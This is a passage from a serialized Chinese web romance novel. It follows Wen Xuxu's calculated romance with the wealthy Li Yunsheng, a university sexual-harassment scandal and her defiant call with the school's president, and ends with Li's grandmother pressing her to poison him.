见她看着像是陷进去的模样,彭脆脆望着她,最终叹了口气,伸手用力抱了抱她:“不管你做什么决定,我永远站在你这边!但你要记住,如果他敢欺负你,我彭脆脆就算拼了命也要为你讨回公道!”温栩栩被她的话逗笑了,眼眶却微微发热。 她回抱住好友,鼻尖蹭了蹭她肩头,声音里带着笑:“好啦,知道了!快喝你的西米露吧,都要凉啦!” 窗外的阳光依旧温柔,透过玻璃洒在两人身上。 温栩栩望着彭脆脆喝得咕咚咕咚响的杯子,嘴角忍不住上扬。 她想起黎云笙还在原地等她,心尖仿佛有无数个小泡泡噗噗噗地冒出来,带着甜意和暖意。 她站起身,理了理裙摆,对彭脆脆说道:“脆脆,我出去一下。”彭脆脆正忙着喝饮品,头也不抬地挥了挥手。 温栩栩打开包间门,深吸一口气,快步走向咖啡店外。 黎云笙坐在车内,窗户半开,夕阳的余晖为他镀上了一层金边,让他冷峻的轮廓显得格外柔和。 他听见脚步声,抬眸望去,正撞进温栩栩带着笑意的眸子里。 她小跑着过来,发梢被风吹起,裙摆如蝶翼般翩跹。 黎云笙的心跳莫名加快,他打开车门伸手将她揽入怀中,温栩栩顺势靠在他胸膛,听着他沉稳的心跳,嘴角的笑意愈发明显。 “聊完了?”他低头,鼻尖蹭了蹭她的发顶,声音低沉得如同呢喃。温栩栩点头,仰头望向她,颊边的小梨涡若隐若现:“嗯,聊完了。” 黎云笙的拇指抚上她脸颊,指腹轻轻摩挲着她眼角的肌肤,动作温柔得不可思议。 温栩栩的心跳如擂鼓,却贪恋这片刻的温暖,不愿移开半分。 温栩栩抱着那杯特意嘱咐店员多加奶泡与焦糖的卡布奇诺,甜香混着咖啡的热气瞬间溢满车内空间。 后座宽敞的皮革座椅被男人修长的双腿占据,手中一份文件被修长指尖捏着,在车内暖光的映照下,侧脸轮廓如刀削斧凿般棱角分明。 他缓缓抬眼,幽深的眸子如同浸了墨的潭水,瞬间锁住了她的身影。 温栩栩的嘴角立刻漾开一抹甜腻的笑,仿佛被按下了某个开关,整个人如一只慵懒的大型猫科动物般扑进他怀中。 发丝间残留的香水气息与他身上清冽的雪松香交织缠绕,她故意将脸在他颈侧蹭了蹭,声音绵软得像浸了蜜:“等久了吧?”尾音微微上挑,带着撒娇的意味,指尖还若有若无地划过他腰间的布料。 其实温栩栩心里挺清楚示弱卖萌确实是男人最难抗拒的糖衣炮弹,尤其是面对黎云笙这样看似冷硬却实则心肠柔软的人。 黎云笙的喉结不易察觉地滚动了一下,手臂却已先于理智环住了她纤细的腰肢。 他并未接话,目光却如鹰隼般落在她右侧脸颊上,那里一片红肿还未完全消退,在白皙肌肤上格外刺眼。 温栩栩心中暗笑,面上却恰到好处的露出几分委屈。 黎云笙的眉头瞬间拧紧,周身气压骤降。 他松开她,起身从车载冰箱中取出一只银色急救箱,动作利落得仿佛演练过千百遍。 箱盖打开的刹那,各类药品整齐排列其中,药酒、棉签、纱布一应俱全。 他取出药酒瓶,倒出些许在棉签上,指尖微凉的触感激得温栩栩瑟缩了一下。 黎云笙的动作却愈发轻柔,棉签蘸着药酒缓缓擦拭红肿处,药液的凉意与刺痛交织,温栩栩却强忍着没出声,只是微微眯起眼,睫毛如蝶翼般轻颤,仿佛承受着莫大的痛苦。 “疼?”黎云笙的声音低沉得几乎要滴出水来,指尖动作更放轻了几分,药酒在皮肤上晕开,带着丝丝缕缕的凉意,却也像点燃了某种隐秘的火焰。 温栩栩顺势将头靠在他肩上,鼻息间全是男人身上清冽的气息,她故意发出一声细碎的呜咽,指尖轻轻揪住他衬衫的布料:“你轻点……”尾音拖得绵长,带着撒娇的意味。 黎云笙的呼吸骤然一滞,喉结上下滚动,眼中墨色翻涌。 他放下棉签,手指抚上她红肿的脸颊,拇指指腹轻轻摩挲着那处伤痕,动作温柔得仿佛触碰易碎的瓷器。 温栩栩的心跳陡然加快,她感受到他指尖的微颤,仿佛某种克制在濒临崩溃的边缘。 四目相对,她清晰地看见他眼底翻涌的暗潮,仿佛暴风雨来临前的海面,压抑而汹涌。 “谁弄的?”黎云笙的声音哑得厉害,目光如炬,仿佛要穿透她的灵魂。 温栩栩却只是轻笑一声,指尖抚上他的喉结,轻轻打转:“不重要啦……有你在,伤口都不疼了。”她凑近他,呼吸喷在他颈侧,温热的吐息让黎云笙的身体瞬间紧绷。 他握住她作乱的手,却并未拉开距离,反而将她更紧地揽入怀中,仿佛要将她揉进骨血。 车内暖光摇曳,暧昧的气息在两人之间流转。 黎云笙的吻突然落了下来,先是轻柔地落在她红肿的脸颊上,如同羽毛拂过,随后一路向下,落在她颤抖的眼睫上,鼻尖,最后重重地压在了她的唇上。 温栩栩瞬间僵住,随即热烈地回应起来,唇齿间弥漫着药酒微苦的气息,却奇异地点燃了两人心底的火焰。 他的吻从温柔渐至炽热,带着某种压抑已久的渴望,仿佛要将所有隐忍的情绪都倾注其中。 温栩栩的手攀上他的脖颈,身体软软地靠在他怀中,心跳如擂鼓,却感受着彼此胸腔中同样剧烈的心跳。 第1210章 疼还胡闹? 一吻结束,黎云笙仍将她紧紧拥在怀中,下颌抵着她的发顶,呼吸仍未平复。 温栩栩埋首在他颈间,听着他胸腔中沉稳的心跳,嘴角勾起一抹得逞的笑意。 “回龙湾帝苑。”黎云笙的声音低沉沙哑,带着未尽的情愫。 迈巴赫缓缓驶入车流,窗外霓虹如星河般流淌,车内却只余下两人交缠的呼吸与心跳。 温栩栩窝在他怀中,指尖把玩着他衬衫的纽扣,心中盘算着接下来的计划。 李丽杰与王双双的阴谋固然可怖,但有黎云笙这座坚实的后盾,她似乎有了更多底气去面对即将到来的风暴。 而此刻,她只想沉溺在这暧昧的温存中,享受这片刻的安宁。 哪怕这安宁背后,是即将到来的腥风血雨。 …… 暮色四合,龙湾帝苑的正厅里弥漫着雪松与檀香交织的气息,仿佛将整个空间都浸染成一片暧昧的暖色。 温栩栩踩着高跟鞋踏入厅内,裙摆摇曳生姿,每一步都带着若有若无的忐忑。 黎云笙斜倚在墙边,衬衫领口松散地敞开两粒扣子,修长手指正慢条斯理地解着暗色领带,动作慵懒中透着不容忽视的矜贵。 他抬眸瞥向她,声音清冷如淬了冰:“回我房间。”温栩栩怔了怔,喉间不自觉地滚了滚。她垂眸掩去眼底的思绪,依言走向二楼。 推开卧室门的刹那,温栩栩被扑面而来的气息裹住。 那是独属于黎云笙的雪松香,混着若有若无的暖意,仿佛一张无形的网将她困在其中。 男人淡淡开口:“床头柜第三个抽屉,里面的东西取出来。”温栩栩依言打开抽屉,银色药箱静静躺在绒布上,金属的冷光在暖灯下泛着微芒。 她指尖轻触箱盖,心底掠过一丝诧异。 在车上不是已经擦过药了?怎么又要她拿药箱? 温栩栩愣怔的对上黎云笙看过来的目光,黎云笙垂眸敛眉开口:“车上的药种类比较少,这里的比较全面。” 说完,黎云笙又道:“自己处理一下。” 黎云笙的声音从身后传来,温栩栩却并未转身,反而小步挪到他身后,双手如藤蔓般环住他脖颈,温热的鼻息喷洒在他颈间:“这种时候不该是你帮我吗?” 她轻笑一声,指尖有意无意地摩挲着他未解下的领带,“书上都是这么说的,而且在车上的时候不都已经帮过我了?现在怎么就不不肯帮了呢?”尾音拖得绵长,带着撒娇的意味,仿佛一只慵懒的猫儿在主人耳边呢喃,酥麻感顺着黎云笙的脊椎往上爬。 温栩栩想勾一个人的时候那个人其实是很难逃离的,就像此刻。 她想推开谁的时候很是干脆利索,但想要跟谁玩暧昧,也没几个人能玩的过她。 黎云笙的呼吸骤然沉重几分,喉结上下滚动,他转身睨向面前眼含笑意、浑身是伤的女人,目光如炬,声音却染上几分沙哑:“身上不疼了?” 温栩栩立刻换上一副委屈模样,睫毛轻颤,眼眶微微泛红:“疼的。” 黎云笙挑眉,语气染上几分戏谑:“疼还胡闹?” 温栩栩被这突如其来的反问噎住,默了片刻才蹙眉道:“??” 她脸颊泛红,垂着脸半晌不说话,耳尖却已染上绯色,仿佛熟透的樱桃。 她当然能明白黎云笙这是在暗示什么呢。 黎云笙轻笑一声,握住她柔软的手腕轻轻捏了捏,眼神示意房内的沙发:“坐。” 温栩栩依言坐到沙发上,裙摆如绽放的玫瑰般铺开,露出白皙如玉的小腿。 男人修长手指掀起她的长裙下摆,动作轻柔得仿佛触碰易碎的瓷器。温栩栩忍不住小声惊呼,却见他眉头微挑,眼底掠过一丝戏谑:“不是要我帮你?” 温栩栩眼睛亮闪闪地看着此刻为她擦药的男人,目光近似有几分贪婪地描摹着他低垂的脸。 高挺的鼻梁在暖光下投下阴影,下颌骨线条流畅如雕刻,最动人的是那张凉薄又自带几分性感的唇,此刻微微抿着,专注地处理着她的伤口。 药酒的凉意透过棉签渗入皮肤,刺痛中却夹杂着某种酥麻的触感,仿佛电流划过,让她忍不住微微瑟缩。 黎云笙的指尖不经意划过她肌肤时,温栩栩能清晰感受到他指腹的薄茧,那是常年握笔或处理文件的痕迹,此刻却像火苗般点燃了她心底的悸动。 “阿笙。”她放轻声音喊他,指尖不自觉地抚上他的手背。 男人手上动作顿住,抬头皱眉,正要张口教训她,猝不及防被她双臂抱住脖子吻了上来。 唇齿间都是淡淡的咖啡香气和奶香味,甜美又酸涩,仿佛含着一颗融化的太妃糖。 温栩栩的吻带着几分急切,却又不失温柔,舌尖轻轻描绘着他的唇形,仿佛要将他刻入灵魂深处。 黎云笙的瞳孔骤然收缩,喉结上下滚动,身体瞬间紧绷如弓弦。他本能地想推开她,可那甜美的滋味却像毒药般侵蚀着他的理智。 他反手扣住她的腰肢,将她更紧地按向自己,反客为主地加深了这个吻。 唇舌交缠间,药酒的苦味与甜蜜的气息交织,仿佛一场炽热的盛宴。 温栩栩的手攀上他的脖颈,指尖插入他乌黑的发间,感受着他胸腔里如擂鼓般的心跳,与自己的心跳逐渐同频共振。 黎云笙的吻愈发炽热,带着某种压抑已久的渴望,仿佛要将所有隐忍的情绪都倾注其中。 温栩栩的手攀上他的后背,指甲轻轻划过他衬衫下的肌肤,引发一阵战栗。 她感受着他身体的温度,听着他胸腔中沉稳的心跳,嘴角勾起一抹得逞的笑意,却又在心底泛起一丝酸涩,这男人,明明在意她,却总爱用冷淡伪装自己。 一吻结束,两人都微微喘着气,额头相抵,鼻尖几乎要碰在一起。 黎云笙的拇指摩挲着她红肿的唇瓣,眼神深邃如潭:“你这伤口,究竟怎么来的?” 温栩栩的呼吸还乱着,闻言轻笑一声,指尖抚上他喉结:“李丽杰送的‘见面礼’。”黎云笙的眉头瞬间拧紧,周身气压骤降,可温栩栩却在他发怒前再次吻上他的唇,轻柔如蝶翼拂过:“不过现在,有阿笙在,伤口都不疼了。” 第1211章 没有其他选择和退路了 她的声音带着蛊惑,指尖在他胸膛画着圈,仿佛要将他所有的怒火都化作绕指柔。 黎云笙的眸色愈发幽深,他猛地将她打横抱起,大步走向床边。 温栩栩惊呼一声,双手环住他的脖颈,心跳如擂鼓。他将她轻柔地放在床上,自己覆身上去,唇齿间再次覆上那甜蜜的滋味。这一次,吻愈发炽热,带着某种破釜沉舟的决然。 温栩栩的手攀上他的后背,感受着他衬衫下肌肉的紧绷,她听着他压抑的喘息,心中满是满足。 窗外的夜色如墨,室内却弥漫着暧昧的气息。 黎云笙的手抚上她受伤的侧脸,拇指指腹轻轻摩挲着红肿处,动作温柔得仿佛触碰易碎的瓷器:“疼吗?”温栩栩摇头,指尖抚上他的脸:“不疼了,有阿笙在。”她凑近他,呼吸喷在他颈侧,温热的吐息让黎云笙的身体瞬间紧绷。 他低头,再次吻上她的唇,这一次,吻中带着几分珍重,仿佛要将她揉进骨血。 缠绵的吻持续了许久,直到两人都几乎喘不过气来。 黎云笙仍将她紧紧拥在怀中,下颌抵着她的发顶,呼吸仍未平复。 温栩栩埋首在他颈间,听着他胸腔中沉稳的心跳,心中满是涟漪。 “李丽杰的事,我会处理。”黎云笙的声音低沉沙哑,带着不容置疑的笃定。 温栩栩轻笑一声,指尖抚上他的喉结:“阿笙,你真好。”她凑近他,再次吻上他的唇。 她这般勾着黎云笙,其实也是为了黎云笙说句他会解决李丽杰。 她现在短时间内是没办法跟黎云笙划清界限了。 因为李丽杰和王双双,这两人势必还会做其他小动作,她已经暗示了那两人,所以那两人绝对不会轻易放过她的。 黎云笙目前是她最大的靠山,所以她必须让黎云笙维护她,她没有别的选择更没有其他退路的。 …… 当马楠被警方带走的画面登上热搜榜首时,整个互联网仿佛被点燃的炸药桶,舆论的怒火瞬间席卷全网。 A大官微那条“将起诉马楠、彻查内部关系网”的声明,非但没有平息民愤,反而成了全网嘲讽的靶子。 社交媒体上,无数网友化身“福尔摩斯”,用键盘作武器,将A大和马楠的丑闻扒得体无完肤,一场声势浩大的网络讨伐正在上演。 微博热搜榜前十条,有七条与A大事件相关。 #A大官微声明翻车# #马楠潜规则实录# #A大校长无辜论有多可笑# 这些讨论话题下,评论区成了大型“吐槽现场”。 有人翻出马楠过往的“光辉事迹”,有人晒出疑似受害者聊天记录,更有匿名网友爆出“A大教师关系网图谱”,条条线索直指校方包庇。 一名认证为“A大表演系毕业生”的用户发帖:“当年我室友被马楠骚扰后去教务处举报,结果第二天就被辅导员叫去谈话,说‘马老师是业界泰斗,你不要听风就是雨’。现在想想,所谓的‘泰斗’就是这种禽兽吗?”这条微博瞬间被转发数万次,评论区里密密麻麻的“抱抱”和“支持维权”的留言,汇成一片声讨的海洋。 知乎上,一篇名为《如何看待A大官微声明被群嘲?》的问答下,高赞回答清一色是讽刺文学。 “A大官微的公关水平堪比小学生作文,通篇避重就轻。‘尽力补偿’?怎么补偿?给受害者发张精神损失费优惠券吗?‘严格调查关系网’?建议从校长办公室的保险柜查起,说不定能翻出几本《潜规则操作手册》。” “最可笑的是那句‘杜绝潜规则’,潜规则都潜成公开秘密了,现在装什么清高?” 有网友甚至制作了表情包,一只穿着A大校服的狐狸举着“百年名校”招牌,背后却露出沾满鲜血的爪子,配文“老校牌,新蛀虫”。 论坛的讨论更是“火力全开”。某知名论坛的娱乐八卦版块,一条标题为《细数马楠的N宗罪:从A大教授到全民公敌》的帖子热度居高不下。 网友“吃瓜群众不嫌事大”整理了马楠的“黑历史时间线”,从五年前某学生因拒接潜规则被挂科,到三年前某女学生微博实名举报后账号被封,再到今年温栩栩事件引爆舆论。 帖子中附带的截图里,马楠在酒会上搂着女学生的照片、聊天记录中露骨的邀约、学生被迫签下的“和解协议”,桩桩件件触目惊心。 评论区里,有人用红色字体打出:“这不是冰山一角,这是整片被污染的冰原!” 短视频平台更是将这场讨伐推向高潮。 一段剪辑视频将A大官微声明与历年学生举报新闻并排播放,背景音乐是《正道的光》的魔改版,歌词被改成:“正道的光照在A大,照出蛀虫和谎话。” 评论区里,网友用表情包组成“嘲讽大军”,马楠的丑照被P成老鼠,配上“过街老鼠”字样;A大校徽被涂成黑色,中间写着“黑大”,更有技术流网友制作动画,展示马楠如何“钻学校制度的空子”,弹幕清一色飘过“细思极恐”。 最令人心痛的,是那些勇敢站出来的受害者。 一名化名为“小葵”的女生在B站发布视频,镜头里的她声音颤抖却坚定:“我是六年前表演系学生,当年马楠以‘指导形体’为由让我单独去他办公室……当我拒绝后,我的期末成绩直接变成‘不合格’。我去教务处申诉,他们却让我‘不要破坏学校声誉’。今天看到这么多姐妹发声,我终于敢说出这句话:马楠,你不是老师,你是恶魔!”视频结尾,她举起一张A大毕业证书,将其撕成两半,碎片飘落的画面,让无数网友泪目。 评论区里,数百名受害者纷纷留言“我也是”“我曾被迫签保密协议”“我的档案里至今还有马楠写的差评”,这些血色控诉,让A大的声明显得苍白如纸。 舆论的狂潮中,也不乏理性分析。 某教育领域大V发表长文,直指A大问题的根源:“百年老校的招牌,成了他们捂盖子的遮羞布。马楠不是一个人在战斗,他背后那张盘根错节的利益网,早已将学校声誉和学生尊严吞噬。校长和教务处主任们真的无辜?当学生举报被压下时,他们在开会,当受害者被迫退学时,他们在度假,当潜规则成为‘公开的秘密’时,他们在装聋作哑。现在跳出来说‘严格调查’,不过是想把所有脏水泼给马楠这个替罪羊罢了。” 文章末尾的投票显示,超过90%的网友认为“A大管理层应集体辞职”。 这场风波对A大的打击是致命的。 第1212章 凭什么为你们洗白 作为与B大并称“Z国双子星”的百年名校,A大一直以“艺术殿堂”自居。但如今,马楠事件彻底撕开了它光鲜的外衣。 社交媒体上,“千万别报A大表演系”的警告比比皆是,更有网友制作对比图,B大近年推出的“反性骚扰十条铁规”与A大官微的敷衍声明并排,高下立判。 教育论坛里,多了“AB之争”的新战场。一位家长在评论区留言:“原本想让孩子冲A大,现在果断选B大。孩子的前途,赌不起!”数据显示,事件爆发后,A大招生办的咨询电话骤减40%,而B大的咨询量暴涨50%。 可以预见,未来数年,A大在顶尖生源争夺战中,将彻底沦为B大的“备胎选项”。 当网友扒出A大校长曾在某次采访中夸夸其谈“师德建设”时,弹幕里飘过一片“打脸”的嘲讽。 有人将他的话与如今的丑闻做成鬼畜视频,循环播放着他扭曲的表情,配乐是《正道的光》变调版。 马楠的社交媒体账号早已被攻陷,评论区里“人渣”“败类”“畜生”的辱骂铺天盖地,连他过往发布的“学术成果”也被网友戏称为“潜规则指南”。 这场由温栩栩点燃的舆论之火,烧毁了A大最后的体面。 但所有人都清楚,马楠只是浮出水面的冰山一角。 当网友深挖A大历年“消失的举报”时,当人们质疑那些“突然转学”的学生背后藏着什么秘密时,当人们追问校长办公室的保险柜里究竟锁着多少肮脏交易时,答案或许就藏在那些被权势压下的哭声里,藏在那些被迫签下的保密协议中,藏在A大百年校史里最黑暗的角落。 而这场网络风暴,终将成为推动教育清朗的里程碑,正如一位网友的评论所说:“今天我们可以为温栩栩们发声,明天才能让更多学生不必在黑暗中颤抖。” …… 温栩栩从绵软的蚕丝被中悠悠转醒时,身旁的位置早已凉透。 她下意识伸手摸了摸,残留的体温仿佛还在掌心萦绕,但空气中独属于黎云笙的雪松冷香却已淡去大半。 她撑起身体,酸软的腰肢传来一阵隐痛,昨夜被男人强势按在沙发上涂药时,他指尖的力道与此刻残留的酸痛形成奇妙的呼应。 她扶着后腰轻轻揉捏,目光扫过空荡的房间,黎云笙向来雷厉风行,此刻定然已去了黎氏集团处理公务。 温栩栩叹了口气,抱着被子在床上滚了几圈,丝绸被面与肌肤摩擦出细碎的声响,像她此刻纷乱的心绪。 手机屏幕亮起时,二十三通未接来电的提示刺目地映入眼帘,清一色来自A大教务处。 温栩栩啧了一声,指尖划过屏幕解锁,微博页面弹出的瞬间,热搜榜上#A大校长回应#、#马楠事件持续发酵#、#A大潜规则丑闻#等词条如血色标语般扑面而来。 她随意滑动,评论区里汹涌的愤怒与质疑几乎要冲破屏幕。 “A大官微的声明像小学生作文,通篇避重就轻!” “马楠就是校方养的狗,主人现在要丢车保帅了!” “那些被逼到自杀的学生,校方什么时候给过公道?” 未等她细看,手机再度震动起来,刺耳的铃声在寂静的房间里格外突兀。 “温栩栩同学,你终于接电话了。”校长刻意压低的嗓音透过电流传来,带着中年男人特有的圆滑与油腻,“我是A大校长张德明啊,昨天那件事闹得太大了,我也知道这事伤害到了你,但你不要担心,你受到的损失学校这边都会赔偿给你的,该有的资源也会补给你,你是我们A大的学生,作为校长我肯定是要护着你们这些学生的……” 温栩栩的嘴角勾起一抹嘲讽的弧度,她随手将手机夹在耳边,赤脚踩上地毯走向窗边。 阳光透过落地窗洒落,在她白皙的肌肤上镀上一层金边,却让她的面色显得愈发冷淡。 “校长不必说什么好听话。”她倚在窗框上,声音如淬了冰,“你打电话来绝对有目的,有事说事,不必在我这里说这些冠冕堂皇的话了,我没录音。” 窗外的梧桐树在风中沙沙作响,仿佛在应和着她的话语。 电话那头传来短暂的沉默,随后是校长干笑一声:“温栩栩啊,你在校内这几年,学校对你也还说得过去吧?该有的培养可没少啊……” 温栩栩嗤笑出声,指甲无意识地抠着窗框上的雕花,“说得过去?我被抢走了几部剧几个MV录制视频校长应该也清楚吧?” 她忽然直起身,语调陡然凌厉,“《浮生梦》的女三号角色被替换成马楠侄女的时候,教务处给我的理由是‘角色适配度不足’,上个月《风华录》MV拍摄我被临时换人,负责人说‘投资方指定了人选’,这些话您应该比我还熟悉吧?” 校长的声音沉了几分:“温栩栩,那也是没有办法的事……马楠虽然不是个东西,但他有些话说得对,娱乐圈是资本家的游戏,谁背后有人谁就能有资源。” “没有办法?”温栩栩冷笑,她忽然逼近手机,音量拔高,“校长这么赞同马楠的话,校长睡了几个啊?” 电话那头传来剧烈的咳嗽声,像是被自己的口水呛到。 温栩栩的眼底燃起怒火,她猛地转身,指尖攥紧了窗帘的流苏。 “我们A大还有几个清白的?要留清白在人间可真难!恐怕那些清清白白的老师来了我们学校也要被你们强迫着染黑同流合污做那些下三滥的勾当!A大真是脏透了!”她的声音在空旷的房间里回荡,像一把利剑刺破了虚伪的平静。 “我知道你打这通电话想让我微博发条言论,表示A大对我还不错,让马楠当那替罪羊。”温栩栩忽然平静下来,语调却如寒冰,“抱歉,我从踏入A大那天开始就知道A大是什么吃人不吐骨头的地方。” 她走到梳妆台前,手指划过镜面上自己略显苍白的脸,镜中倒映的双眼却燃烧着炽烈的火光。 “你们肮脏龌龊凭什么出了事却来求我看在你的面子上为你们‘漂白’?” 第1213章 到底想她如何做 温栩栩的声音陡然拔高,字字如刀,“那些女学生走投无路求助你的时候你作为校长都在做些什么呢?她们被逼到不停后退甚至做出伤害自己跳楼自杀的时候你在做什么?她们被那些师长逼迫拍照片的时候你又在做什么?你只会说,这圈子本就不干净,想进圈子就要有做资本玩物的觉悟!你们这种人不配我为你们澄清!我在这里祝A大永远发烂发臭!你这样的学校就该早日倒闭!” 校长张德明的手指死死攥住办公桌上的红木雕花笔筒,指节因用力过猛而泛着青白。 电话那头温栩栩的笑声如一根钢针,精准刺入他早已千疮百孔的自尊心。 “温栩栩,你要知道A大背后是有多少资本,那些资本不是你能轻易撼动的,你跟A大作对就是在跟那些资本作对!”他的声音裹挟着明显的怒意,话筒几乎被捏得变形。 可回应他的,却是更刺耳的讥笑。 “校长,你真以为我没有靠山敢在你这里说这些嚣张言论?”温栩栩的声音慵懒中带着淬毒的锋芒,仿佛一条吐着信子的毒蛇,"我不是蠢货,我当然知道资本有多重要,正因为我知道,所以我才找了帝城最厉害的人……"她刻意拉长尾音,每个字都像一记耳光抽在校长的脸上,"我男人就是最强的资本。你说我还怕什么呢?" 张德明的瞳孔猛地收缩,喉间涌上一股腥甜。 他当然知道黎云笙,那个掌控着黎氏帝国的男人,传闻中他一个眼神就能让帝城的权贵瑟瑟发抖。 纵然黎云笙还没有真正掌握黎氏,但已经是这个圈子多少人都不敢得罪的大佬级别的人物。 此刻这个名字从温栩栩口中说出,无异于宣判了他的失败。 “你……”校长的声音突然哽住,他意识到自己犯了个致命的错误。 肯拉下脸面给温栩栩打这通电话,一是因为A大深陷舆论泥潭,二是听说黎云笙现身学校。 他原以为凭借自己浸淫教育界三十年的圆滑,足以拉拢这个初出茅庐的学生,甚至通过她攀上黎氏这棵大树。可现实却狠狠扇了他一巴掌。 温栩栩根本不吃这套,她甚至将他的算计赤裸裸地撕开。 “温栩栩,这次的事的确是A大对不住你,A大会补偿你。"他深吸一口气,强迫自己冷静下来。 办公桌抽屉里躺着马楠的转账记录,那些天文数字让他在深夜辗转反侧,此刻却成了悬在头顶的达摩克利斯之剑。 他必须稳住温栩栩,至少不能让她成为压垮A大的最后一根稻草。 “对不住?”温栩栩的嗤笑穿透电流,刺得张德明耳膜生疼,“A大对不起我的地方太多了,抢了我那么多本子,要不都换算成钱打给我好了,反正你背后那么多资本,这钱不难筹。”她故意将“资本”二字咬得极重,像在咀嚼一块腐肉,“《浮生梦》的女三号、《风华录》的MV拍摄……哦对了,还有去年话剧社的出国交流名额,这些加起来应该够买下半个A大礼堂了吧?” 张德明眼前发黑。 这些事他当然清楚,马楠那个蠢货,仗着校董会的支持肆无忌惮,早晚会捅出大篓子。可此刻被温栩栩当众揭短,他只觉得脸上火辣辣地疼。 他想起上周在董事会上,马楠做的那些错事被人捅出来,某位校董把玩着翡翠扳指轻飘飘地说:“小惩大诫就行,别真动了马楠,他在圈子里的人脉对招生有帮助。”现在想来,那些所谓的人脉,不过是催命符罢了。 “温栩栩,你别得寸进尺!”他再也按捺不住,猛地拍向桌面,震得桌上的镇纸跳了起来,“就算黎云笙再厉害,他也不能只手遮天!A大百年根基,岂是你说撼动就撼动的?”这句话更像是说给自己听,试图找回一丝尊严。 温栩栩嘲讽:“百年根基?校长,您真以为这根基是干净的?您抽屉最底层的文件夹里,是不是藏着比马楠更肮脏的东西?那些被迫退学的女学生名单,那些用学术资源交换的\"特殊服务\"记录……要不要我帮您回忆一下?" 张德明浑身血液瞬间凝固。他像被掐住脖子的鸭子,喉咙里只能发出破碎的气音。 温栩栩怎么可能知道这些?难道……难道黎云笙已经查到了这个程度? 冷汗浸透了他的衬衫,后背紧贴着真皮座椅,却感觉如坠冰窖。 “你……你威胁我?”他颤抖着挤出这几个字,声音里带着绝望的虚弱。 “威胁?”温栩栩轻笑出声,笑声里带着彻骨的寒意,“校长,我只是在陈述事实。您以为那些受害者的沉默是因为恐惧?不,她们只是在等待一个机会。”她忽然话锋一转,语气变得森冷如刀,“而现在,这个机会来了。” 张德明盯着墙上的校训“敦品励学”,只觉得那四个字在嘲笑着他的虚伪。 他想起上个月在校长信箱里发现的那封匿名信,信纸上的泪痕还未干透,控诉着某位教授的性骚扰。他当时只是让秘书“妥善处理”,所谓的处理,不过是把信锁进抽屉最深处。此刻那些字迹仿佛化作无数只蚂蚁,啃噬着他的心脏。 “你到底想我怎么做。”张德明几乎是咬牙切齿的开口。 温栩栩笑意中都是带着冷意的开口:“我说了“A大对不起我的地方太多了,抢了我那么多本子,要不都换算成钱打给我好了,反正你背后那么多资本,这钱不难筹。” 校长咬着牙,“好,这事我会记着的。” 话音落下挂断电话,生怕温栩栩再蹬鼻子上脸提点什么要求要什么补偿。 温栩栩刚挂断张德明的电话,手机屏幕便再次亮起。 看到“黎老太太”四个字时,她的心脏猛地收缩,指尖不自觉地颤抖起来。 黎家的老宅电话,那个象征着权力与威严的号码,此刻像一条冰冷的毒蛇缠绕上她的神经。 第1214章 必须怀孕为黎家生下孩子 她深吸一口气,指甲深深掐进掌心,试图用疼痛驱散蔓延的恐慌。 黎老太太的动作比她预想的更快,这通电话来得如此急促,显然不打算给她喘息的机会。 推开黎家老宅那扇雕花朱门时,暮色已悄然笼罩庭院。 青砖小径两旁的梧桐树在秋风中簌簌作响,落叶打着旋儿掠过她的裙摆。 温栩栩踩着枯叶走向书房,每一步都仿佛踩在刀尖上。那间古色古香的书房,她曾来过两次,每次都如坠冰窖。 此刻站在门外,她甚至能听见里面瓷器轻碰的声响,黎老太太品茶的节奏依旧从容,仿佛在等待一只注定落网的猎物。 “终于来了。”黎老太太的声音从门内传来,不带丝毫温度。 温栩栩推门而入,扑面而来的龙涎香气息让她呼吸一滞。 老人端坐在紫檀木太师椅上,青瓷茶盏在她手中轻转,袅袅热气模糊了她那张刻满岁月痕迹的脸。 与上次见面不同,今日的黎老太太未着华服,只穿一件素色旗袍,发髻梳得一丝不苟,可那双鹰隼般的眼睛,却透出比往日更凌厉的锋芒。 “我说过的事,你考虑的怎么样了?”茶盏被重重搁在案几上,溅出的茶水在宣纸上洇开一片墨色。 温栩栩心跳如擂鼓,她攥紧掌心,指甲几乎刺破皮肤。 按照她苦心经营的人设,此刻该是怯懦、犹豫,甚至带着几分被逼迫的委屈。可她清楚,黎老太太的耐心早已耗尽,稍有差池,便是万劫不复。 “老夫人……”她垂着头,声音颤抖如风中烛火,“当初我实在是走投无路,想救救自己……给自己一个重活一次的机会,才会选择跟黎云笙一起……”泪水在眼眶里打转,她刻意让睫毛轻颤,让每一滴泪都显得真实而绝望。 黎老太太的目光如寒刃般刺向她,温栩栩能感觉到那审视的压迫,仿佛自己所有伪装都在被层层剥开。 “真是好人家的女儿,怎么会选择这种下三滥手段去勾人出道拍戏……”黎老太太的嗤笑像一根钢针,精准扎进温栩栩最脆弱的伤口。她咬紧下唇,血腥味在舌尖蔓延,却不敢抬头。她知道,此刻的示弱或许能成为最后的盾牌。 黎老太太忽然起身,绣着金线的旗袍下摆扫过地面,每一步都带着不容置疑的威压。 她绕到温栩栩面前,枯枝般的手指抬起她的下巴,迫使她对视:“既然你是为了钱和权选择他,那我已经给过你选择了——只要你替我把事情办好,你不仅能得到一笔足够挥霍终生的钱,还能拿到黎氏5%的股份,更重要的是,我会给予你庇护,保你后半生荣华富贵。这不是两全其美吗?” 温栩栩的瞳孔骤然收缩,黎老太太的话像一盆冰水浇透全身。她清楚,这所谓的“选择”不过是精心包装的毒药。 5%的黎氏股份……那足以让无数人疯狂,可代价却是谋杀自己最亲密的人。 她试图挣扎:“老夫人,我知道您说过等黎云笙‘去后’……可我实在是想不明白该如何做……” 黎老太太的嘴角勾起一抹冰冷的弧度,眼神陡然变得阴森:“既然是‘去后’,那自然是让他去死了。” 她忽然从抽屉里取出一只雕花锦盒,打开时,里面躺着一排晶莹剔透的玻璃瓶,在灯光下泛着诡异的幽蓝。 “我要你用慢性药毒死黎云笙。”她的声音轻得像在诉说一个再寻常不过的请求,可每个字都如淬毒的利箭,射穿温栩栩最后的侥幸。 温栩栩浑身血液瞬间凝固,锦盒里的毒药瓶仿佛化作无数只眼睛,死死盯着她。 她踉跄后退,后背撞上书柜,古籍的卷轴哗啦啦散落一地。 “不……这不可能!”她嘶哑着挤出这几个字,指甲深深抠进掌心,试图抓住最后一丝理智。 黎老太太却步步逼近,枯槁的手指捏住她的手腕,力道大得惊人:“不可能?温栩栩,你最好认清现实。你进入娱乐圈的‘手段’、你那些见不得光的过去……只要我动动手指,就能让你从云端跌入泥潭,永世不得翻身。” 温栩栩喉间突然涌上一阵腥甜,胃里翻江倒海,几乎忍不住干呕。 